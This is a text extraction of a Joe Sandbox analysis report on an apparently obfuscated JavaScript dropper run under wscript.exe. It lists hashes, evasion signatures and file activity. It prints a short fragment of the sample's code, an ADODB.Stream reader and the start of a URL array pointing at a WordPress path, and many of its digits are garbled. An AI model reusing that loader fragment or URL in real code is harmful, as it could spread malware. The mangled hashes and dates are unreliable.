ID: Sample Name: ff2c8cadaa0fd8da6138cce6fce37e001f53a5d9ceccd67945b15ae273f4d751.evaljs.js Cookbook: default.jbs Time: 16:44:00 Date:

Transcription

1 ID: Sample Name: ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js Cookbook: default.jbs Time: 1:44:00 Date: 04//201 Version:

2 Table of Contents Table of Contents Analysis Report Overview General Information Detection Confidence Classification Signature Overview Networking: System Summary: HIPS / PFW / Operating System Protection Evasion: Anti Debugging: Malware Analysis System Evasion: Hooking and other Techniques for Hiding and Protection: Language, Device and Operating System Detection: Simulations Behavior and APIs Antivirus Detection Initial Sample Domains Yara Overview Initial Sample PCAP (Network Traffic) Memory Dumps Unpacked PEs Joe Sandbox View / Context IPs Domains ASN Screenshot Startup Created / dropped Files Contacted Domains/Contacted IPs Contacted Domains Contacted IPs Static File Info General File Icon Network Behavior Code Manipulations Statistics System Behavior Analysis Process: wscript.exe PID: 30 Parent PID: 2852 General File Activities File Created File Written Disassembly Code Analysis Copyright Joe Security LLC 201 Page 2 of 11

3 Copyright Joe Security LLC 201 Page 3 of 11

4 Analysis Report Overview General Information Joe Sandbox Version: Analysis ID: Start time: 1:44:00 Joe Sandbox Product: CloudBasic Start date: Overall analysis duration: Hypervisor based Inspection enabled: Report type: Sample file name: Cookbook file name: 0h 2m 8s false light ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd 45b15ae23f4d51.evaljs.js default.jbs Analysis system description: Windows SP1 (with Office 20 SP2, IE 11, FF 54, Chrome 0, Acrobat Reader DC 1, Flash 2, Java ) Number of analysed new started processes analysed: 2 Number of new started drivers analysed: 0 Number of existing processes analysed: 0 Number of existing drivers analysed: 0 Number of injected processes analysed: 0 Technologies Detection: Classification: HCA enabled EGA enabled HDC enabled CLEAN clean2.winjs@1/2@0/0 HCA Information: Successful, ratio: 0% Number of executed functions: 0 Number of non-executed functions: 0 EGA Information: HDC Information: Cookbook Comments: Warnings: Failed Failed Found application associated with file extension:.js Show All Exclude process from analysis (whitelisted): dllhost.exe Detection Strategy Score Range Reporting Detection Threshold Report FP / FN Confidence Strategy Score Range Further Analysis Required? Confidence Copyright Joe Security LLC 201 Page 4 of 11

5 Strategy Score Range Further Analysis Required? Threshold false Confidence Classification Ransomware Evader Spreading malicious malicious malicious suspicious suspicious suspicious Exploiter Phishing clean clean clean Spyware Banker Adware Trojan / Bot Signature Overview Copyright Joe Security LLC 201 Page 5 of 11

6 Networking System Summary HIPS / PFW / Operating System Protection Evasion Anti Debugging Malware Analysis System Evasion Hooking and other Techniques for Hiding and Protection Language, Device and Operating System Detection Click to jump to signature section Networking: Urls found in memory or binary data System Summary: Binary contains paths to debug symbols Classification label Creates files inside the user directory Reads software policies Uses an in-process (OLE) Automation server Java / VBScript file with very long strings (likely obfuscated code) HIPS / PFW / Operating System Protection Evasion: May try to detect the Windows Explorer process (often used for injection) Anti Debugging: Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) Malware Analysis System Evasion: Found WSH timer for Javascript or VBS script (likely evasive script) May sleep (evasive loops) to hinder dynamic analysis Hooking and other Techniques for Hiding and Protection: Disables application error messsages (SetErrorMode) Language, Device and Operating System Detection: Queries the cryptographic machine GUID Simulations Behavior and APIs Copyright Joe Security LLC 201 Page of 11

7 Time Type Description 1:44:18 API Interceptor 1x Sleep call for process: wscript.exe modified from: 0000ms to: 500ms Antivirus Detection Initial Sample No Antivirus matches No Antivirus matches Domains No Antivirus matches Yara Overview Initial Sample No yara matches PCAP (Network Traffic) No yara matches No yara matches Memory Dumps No yara matches Unpacked PEs No yara matches Joe Sandbox View / Context IPs No context Domains No context ASN No context Copyright Joe Security LLC 201 Page of 11

8 No context Screenshot Startup system is w wscript.exe (PID: 30 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js' MD5: D4EAC8B818A8DF5204A) cleanup Created / dropped Files C:\Users\user\AppData\Local\Microsoft\Windows\ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js File Type: ASCII text, with very long lines, with CRLF, CR line terminators MD5: 142FB30DC3E2AE8BACDD4 SHA1: 8513D3FAA155130FF2C8D20BF0345FBFDF3 SHA-25: ED8EFFE3E14A083DDC4FA3BF25CC0EF0D4A E8B413D13CD SHA-512: 0D3FDE08A1E8D8B85C1ECA8B2B4B3BEE2D02ECAAD0A2F A211FA43FE4513B0A050F040 AB2AFA4CE3C3CD D Copyright Joe Security LLC 201 Page 8 of 11

9 C:\Users\user\AppData\Local\Microsoft\Windows\ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js Malicious: false C:\Users\user\AppData\Local\Microsoft\Windows\ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js:Zone.Identifier File Type: MD5: SHA1: SHA-25: SHA-512: Malicious: ASCII text, with CRLF line terminators 18F488E2DB4AF3423FE41A0AD 3BA2EC188124D5222A0D2CB21F8E4 255A5D30841AB4082BDD0EEAD4C5EE88F51315D8D15AEF11C F23C0C051EBE84D005A82A312A8235DA42DAD5F44D34FC545BEC42C1D14C05B2F01FF53BC31530C2 F32BBDCCDE1B0FB21CD4E false Contacted Domains/Contacted IPs Contacted Domains No contacted domains info Contacted IPs No contacted IP infos Static File Info General File type: ASCII text, with very long lines, with CRLF, CR line terminators TrID: Visual Basic Script (000/0) 0.00% Java Script embedded in Visual Basic Script (2000/0) 20.00% Java Script (2000/0) 20.00% File name: File size: MD5: SHA1: SHA25: SHA512: File Content Preview: ff2c8cadaa0fd8da138ccefce3e001f53a5dceccd 45b15ae23f4d51.evaljs.js 142fb30dc3e2ae8bacdd4 8513d3faa155130ff2c8d20bf0345fbfdf3 ed8effe3e14a083ddc4fa3bf25cc0ef0d4a e8b413d13cd 0d3fde08a1e8d8b85c1eca8b2b4b3bee2d02ec aad0a2f a211fa43fe4513b0a05 0f040ab2afa4ce3c3cd d function UspD(zDmy)..{var m3mh = WScript.CreateObj ect("adodb.stream")..m3mh.type = 2;m3mH.CharSet = '43';m3mH.Open();m3mH.LoadFromFile(zDmy);var c 0xi = m3mh.readtext;m3mh.close();return cz_b(c0xi); }var CKpR = new Array (" m/wp- File Icon Network Behavior No network behavior found Code Manipulations Copyright Joe Security LLC 201 Page of 11

10 Statistics System Behavior Analysis Process: wscript.exe PID: 30 Parent PID: 2852 General Start time: 1:44:1 Start date: 04//201 Path: Wow4 process (32bit): Commandline: Imagebase: File size: MD5 hash: Programmed in: C:\Windows\System32\wscript.exe false 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\ff2c8cadaa0fd8da138cce fce3e001f53a5dceccd45b15ae23f4d51.evaljs.js' 0xf bytes D4EAC8B818A8DF5204A C, C++ or other language File Activities File Created File Path Access Attributes Options Completion Count c:\users\user\appdata\local\microsoft\windows\ff2c8cadaa0fd8 da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js C:\Users\user\AppData\Local\Microsoft\Windows\ff2c8cadaa0fd8 da138ccefce3e001f53a5dceccd45b15ae23f4d51.evaljs.js \:Zone.Identifier:$DATA read data or list archive directory and read attributes and delete and synchronize and generic write read data or list none directory and synchronize and generic write sequential only and non direct ory file sequential only and synchronou s io non alert Source Address Symbol success or wait 1 F30434 CopyFileW success or wait 1 F30434 CopyFileW File Written File Path Offset Length Value Ascii Completion Count Source Address Symbol Copyright Joe Security LLC 201 Page of 11

11 File Path Offset Length Value Ascii Completion Count C:\Users\user\AppData\Local\Mi crosoft\windows\ff2c8cadaa0fd8 da138ccefce3e001f53a5dcecc d45b15ae23f4d51.evaljs.js C:\Users\user\AppData\Local\Mi crosoft\windows\ff2c8cadaa0fd8 da138ccefce3e001f53a5dcecc d45b15ae23f4d51.evaljs.js:zone.identifier e 3 4 f e a 44 d 2 0d 0a b d 33 d d e f 2 a f e d d 0a d 33 d 48 2e d b d 33 d 48 2e d b d 33 d 48 2e 4f 0 5 e b d 33 d 48 2e 4c f f d 4 c 5 28 a 44 d 2 3b d 20 d 33 d 48 2e b d 33 d 48 2e 43 c f b e 20 3 a 5f b d b d 20 e a 2f 2f 2e c e 3 f d 2f 0 2d 0 2 5b 5a f e e d 0d 0a 0d 0a 5a f e d 30 Source Address Symbol function UspD(zDmy)..{var success or wait 1 F30434 CopyFileW m3mh = Wscr ipt.createobject(" ADODB.Stream")..m3mH. Type = 2;m3mH.CharSet = '43';m3mH.Open ();m3mh.loadfromfile(zd my);var c0xi = m3mh.readtext;m3mh.cl ose();return cz_b(c0xi);}var CKpR = new Array (" ipadiesel124.com/wp- [ZoneTransfer]...ZoneId=0 success or wait 1 F30434 CopyFileW Disassembly Code Analysis Copyright Joe Security LLC 201 Page 11 of 11